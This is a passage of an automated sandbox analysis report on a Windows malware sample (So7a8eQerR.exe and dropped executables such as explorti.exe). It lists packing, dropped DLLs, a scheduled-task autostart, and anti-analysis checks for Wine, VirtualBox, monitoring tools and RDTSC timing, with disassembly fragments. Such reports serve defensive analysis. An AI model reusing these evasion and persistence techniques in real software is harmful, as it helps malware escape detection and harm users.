Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Unpacked PE file: 3.2.explorti.exe.5c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ohmzqnep:EW;ebipawoj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ohmzqnep:EW;ebipawoj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Unpacked PE file: 4.2.37664d9843.exe.ce0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Unpacked PE file: 11.2.GIEHIDHJDB.exe.aa0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ohmzqnep:EW;ebipawoj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ohmzqnep:EW;ebipawoj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Unpacked PE file: 15.2.586ef238b2.exe.200000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Unpacked PE file: 20.2.CBFIIEHJDB.exe.250000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ohmzqnep:EW;ebipawoj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ohmzqnep:EW;ebipawoj:EW;.taggant:EW;
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0BC410 LoadLibraryW,GetProcAddress,FreeLibrary, 4_2_6C0BC410
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: explorti.exe.0.dr Static PE information: real checksum: 0x1ce8ec should be: 0x1d2bc8
Source: CBFIIEHJDB.exe.15.dr Static PE information: real checksum: 0x1ce8ec should be: 0x1d2bc8
Source: amadka[1].exe.4.dr Static PE information: real checksum: 0x1ce8ec should be: 0x1d2bc8
Source: random[1].exe.3.dr Static PE information: real checksum: 0x0 should be: 0x27638e
Source: 586ef238b2.exe.3.dr Static PE information: real checksum: 0x0 should be: 0x27638e
Source: So7a8eQerR.exe Static PE information: real checksum: 0x1ce8ec should be: 0x1d2bc8
Source: 37664d9843.exe.3.dr Static PE information: real checksum: 0x0 should be: 0x27638e
Source: GIEHIDHJDB.exe.4.dr Static PE information: real checksum: 0x1ce8ec should be: 0x1d2bc8
PE file contains sections with non-standard names
Source: So7a8eQerR.exe Static PE information: section name:
Source: So7a8eQerR.exe Static PE information: section name: .idata
Source: So7a8eQerR.exe Static PE information: section name:
Source: So7a8eQerR.exe Static PE information: section name: ohmzqnep
Source: So7a8eQerR.exe Static PE information: section name: ebipawoj
Source: So7a8eQerR.exe Static PE information: section name: .taggant
Source: explorti.exe.0.dr Static PE information: section name:
Source: explorti.exe.0.dr Static PE information: section name: .idata
Source: explorti.exe.0.dr Static PE information: section name:
Source: explorti.exe.0.dr Static PE information: section name: ohmzqnep
Source: explorti.exe.0.dr Static PE information: section name: ebipawoj
Source: explorti.exe.0.dr Static PE information: section name: .taggant
Source: random[1].exe.3.dr Static PE information: section name:
Source: random[1].exe.3.dr Static PE information: section name:
Source: random[1].exe.3.dr Static PE information: section name:
Source: random[1].exe.3.dr Static PE information: section name:
Source: random[1].exe.3.dr Static PE information: section name:
Source: 37664d9843.exe.3.dr Static PE information: section name:
Source: 37664d9843.exe.3.dr Static PE information: section name:
Source: 37664d9843.exe.3.dr Static PE information: section name:
Source: 37664d9843.exe.3.dr Static PE information: section name:
Source: 37664d9843.exe.3.dr Static PE information: section name:
Source: 586ef238b2.exe.3.dr Static PE information: section name:
Source: 586ef238b2.exe.3.dr Static PE information: section name:
Source: 586ef238b2.exe.3.dr Static PE information: section name:
Source: 586ef238b2.exe.3.dr Static PE information: section name:
Source: 586ef238b2.exe.3.dr Static PE information: section name:
Source: freebl3.dll.4.dr Static PE information: section name: .00cfg
Source: freebl3[1].dll.4.dr Static PE information: section name: .00cfg
Source: mozglue.dll.4.dr Static PE information: section name: .00cfg
Source: mozglue[1].dll.4.dr Static PE information: section name: .00cfg
Source: msvcp140.dll.4.dr Static PE information: section name: .didat
Source: msvcp140[1].dll.4.dr Static PE information: section name: .didat
Source: nss3.dll.4.dr Static PE information: section name: .00cfg
Source: nss3[1].dll.4.dr Static PE information: section name: .00cfg
Source: softokn3.dll.4.dr Static PE information: section name: .00cfg
Source: softokn3[1].dll.4.dr Static PE information: section name: .00cfg
Source: amadka[1].exe.4.dr Static PE information: section name:
Source: amadka[1].exe.4.dr Static PE information: section name: .idata
Source: amadka[1].exe.4.dr Static PE information: section name:
Source: amadka[1].exe.4.dr Static PE information: section name: ohmzqnep
Source: amadka[1].exe.4.dr Static PE information: section name: ebipawoj
Source: amadka[1].exe.4.dr Static PE information: section name: .taggant
Source: GIEHIDHJDB.exe.4.dr Static PE information: section name:
Source: GIEHIDHJDB.exe.4.dr Static PE information: section name: .idata
Source: GIEHIDHJDB.exe.4.dr Static PE information: section name:
Source: GIEHIDHJDB.exe.4.dr Static PE information: section name: ohmzqnep
Source: GIEHIDHJDB.exe.4.dr Static PE information: section name: ebipawoj
Source: GIEHIDHJDB.exe.4.dr Static PE information: section name: .taggant
Source: freebl3[1].dll.15.dr Static PE information: section name: .00cfg
Source: mozglue[1].dll.15.dr Static PE information: section name: .00cfg
Source: msvcp140[1].dll.15.dr Static PE information: section name: .didat
Source: nss3[1].dll.15.dr Static PE information: section name: .00cfg
Source: softokn3[1].dll.15.dr Static PE information: section name: .00cfg
Source: CBFIIEHJDB.exe.15.dr Static PE information: section name:
Source: CBFIIEHJDB.exe.15.dr Static PE information: section name: .idata
Source: CBFIIEHJDB.exe.15.dr Static PE information: section name:
Source: CBFIIEHJDB.exe.15.dr Static PE information: section name: ohmzqnep
Source: CBFIIEHJDB.exe.15.dr Static PE information: section name: ebipawoj
Source: CBFIIEHJDB.exe.15.dr Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Code function: 3_2_005DD82C push ecx; ret 3_2_005DD83F
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C08B536 push ecx; ret 4_2_6C08B549
Source: So7a8eQerR.exe Static PE information: section name: entropy: 7.987398323235003
Source: So7a8eQerR.exe Static PE information: section name: ohmzqnep entropy: 7.952574384600115
Source: explorti.exe.0.dr Static PE information: section name: entropy: 7.987398323235003
Source: explorti.exe.0.dr Static PE information: section name: ohmzqnep entropy: 7.952574384600115
Source: random[1].exe.3.dr Static PE information: section name: entropy: 7.995466725480933
Source: random[1].exe.3.dr Static PE information: section name: entropy: 7.977842582826075
Source: random[1].exe.3.dr Static PE information: section name: entropy: 7.9508605124369
Source: 37664d9843.exe.3.dr Static PE information: section name: entropy: 7.995466725480933
Source: 37664d9843.exe.3.dr Static PE information: section name: entropy: 7.977842582826075
Source: 37664d9843.exe.3.dr Static PE information: section name: entropy: 7.9508605124369
Source: 586ef238b2.exe.3.dr Static PE information: section name: entropy: 7.995466725480933
Source: 586ef238b2.exe.3.dr Static PE information: section name: entropy: 7.977842582826075
Source: 586ef238b2.exe.3.dr Static PE information: section name: entropy: 7.9508605124369
Source: amadka[1].exe.4.dr Static PE information: section name: entropy: 7.987398323235003
Source: amadka[1].exe.4.dr Static PE information: section name: ohmzqnep entropy: 7.952574384600115
Source: GIEHIDHJDB.exe.4.dr Static PE information: section name: entropy: 7.987398323235003
Source: GIEHIDHJDB.exe.4.dr Static PE information: section name: ohmzqnep entropy: 7.952574384600115
Source: CBFIIEHJDB.exe.15.dr Static PE information: section name: entropy: 7.987398323235003
Source: CBFIIEHJDB.exe.15.dr Static PE information: section name: ohmzqnep entropy: 7.952574384600115
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File created: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\So7a8eQerR.exe File created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\amadka[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe File created: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe File created: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe File created: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file

Boot Survival
barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\So7a8eQerR.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Window searched: window name: PROCMON_WINDOW_CLASS
Creates job files (autostart)
Source: C:\Users\user\Desktop\So7a8eQerR.exe File created: C:\Windows\Tasks\explorti.job Jump to behavior
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 4_2_6C0B55F0
Source: C:\Users\user\Desktop\So7a8eQerR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\So7a8eQerR.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: 9BEE45 second address: 9BE700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 ja 00007FA5CCB7DECCh 0x0000000b popad 0x0000000c nop 0x0000000d jmp 00007FA5CCB7DECEh 0x00000012 push dword ptr [ebp+122D0019h] 0x00000018 or dword ptr [ebp+122D1870h], ebx 0x0000001e call dword ptr [ebp+122D265Bh] 0x00000024 pushad 0x00000025 mov dword ptr [ebp+122D1870h], esi 0x0000002b xor eax, eax 0x0000002d sub dword ptr [ebp+122D2154h], ebx 0x00000033 mov edx, dword ptr [esp+28h] 0x00000037 jmp 00007FA5CCB7DED9h 0x0000003c mov dword ptr [ebp+122D33DDh], eax 0x00000042 pushad 0x00000043 xor dl, FFFFFFB5h 0x00000046 jmp 00007FA5CCB7DECCh 0x0000004b popad 0x0000004c mov esi, 0000003Ch 0x00000051 sub dword ptr [ebp+122D2154h], edx 0x00000057 add esi, dword ptr [esp+24h] 0x0000005b jne 00007FA5CCB7DECCh 0x00000061 lodsw 0x00000063 je 00007FA5CCB7DECDh 0x00000069 jnc 00007FA5CCB7DEC7h 0x0000006f add eax, dword ptr [esp+24h] 0x00000073 pushad 0x00000074 add dword ptr [ebp+122D2154h], eax 0x0000007a adc ch, FFFFFFBCh 0x0000007d popad 0x0000007e mov ebx, dword ptr [esp+24h] 0x00000082 stc 0x00000083 nop 0x00000084 jmp 00007FA5CCB7DED3h 0x00000089 push eax 0x0000008a jng 00007FA5CCB7DED8h 0x00000090 push eax 0x00000091 push edx 0x00000092 je 00007FA5CCB7DEC6h 0x00000098 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B2B0F9 second address: B2B0FF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B2B639 second address: B2B646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 je 00007FA5CCB7DEC8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B2B79F second address: B2B804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FA5CCB52639h 0x0000000a jnc 00007FA5CCB52626h 0x00000010 js 00007FA5CCB52626h 0x00000016 popad 0x00000017 pushad 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a jmp 00007FA5CCB52635h 0x0000001f popad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jno 00007FA5CCB5263Bh 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B2B804 second address: B2B80D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B2B933 second address: B2B93D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B2B93D second address: B2B941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B2DF7F second address: B2E00A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA5CCB52626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FA5CCB5262Ah 0x00000010 jnp 00007FA5CCB52626h 0x00000016 popad 0x00000017 popad 0x00000018 add dword ptr [esp], 4985A972h 0x0000001f sbb edi, 127BE68Ch 0x00000025 pushad 0x00000026 mov dword ptr [ebp+122D17BBh], edi 0x0000002c cmc 0x0000002d popad 0x0000002e push 00000003h 0x00000030 add dword ptr [ebp+122D1870h], ecx 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007FA5CCB52628h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 0000001Dh 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 jmp 00007FA5CCB52632h 0x00000057 push 00000003h 0x00000059 add esi, dword ptr [ebp+122D267Eh] 0x0000005f push 8A6C0093h 0x00000064 push ecx 0x00000065 pushad 0x00000066 jns 00007FA5CCB52626h 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B2E106 second address: B2E10A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B2E10A second address: B2E10F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B2E10F second address: B2E11F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B2E11F second address: B2E135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FA5CCB5262Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B2E135 second address: B2E213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FA5CCB7DED0h 0x0000000f mov eax, dword ptr [eax] 0x00000011 jmp 00007FA5CCB7DED0h 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a jmp 00007FA5CCB7DED0h 0x0000001f pop eax 0x00000020 call 00007FA5CCB7DED5h 0x00000025 mov esi, dword ptr [ebp+122D360Dh] 0x0000002b pop esi 0x0000002c push 00000003h 0x0000002e mov edi, dword ptr [ebp+122D1F3Dh] 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 mov dword ptr [ebp+122D1BF6h], ebx 0x0000003d pop edx 0x0000003e push 00000003h 0x00000040 jnp 00007FA5CCB7DEC9h 0x00000046 movzx edx, cx 0x00000049 call 00007FA5CCB7DEC9h 0x0000004e push edi 0x0000004f jmp 00007FA5CCB7DECEh 0x00000054 pop edi 0x00000055 push eax 0x00000056 push esi 0x00000057 jmp 00007FA5CCB7DECDh 0x0000005c pop esi 0x0000005d mov eax, dword ptr [esp+04h] 0x00000061 jnp 00007FA5CCB7DED2h 0x00000067 jp 00007FA5CCB7DECCh 0x0000006d mov eax, dword ptr [eax] 0x0000006f jmp 00007FA5CCB7DED6h 0x00000074 mov dword ptr [esp+04h], eax 0x00000078 push ebx 0x00000079 push eax 0x0000007a push edx 0x0000007b jp 00007FA5CCB7DEC6h 0x00000081 rdtsc
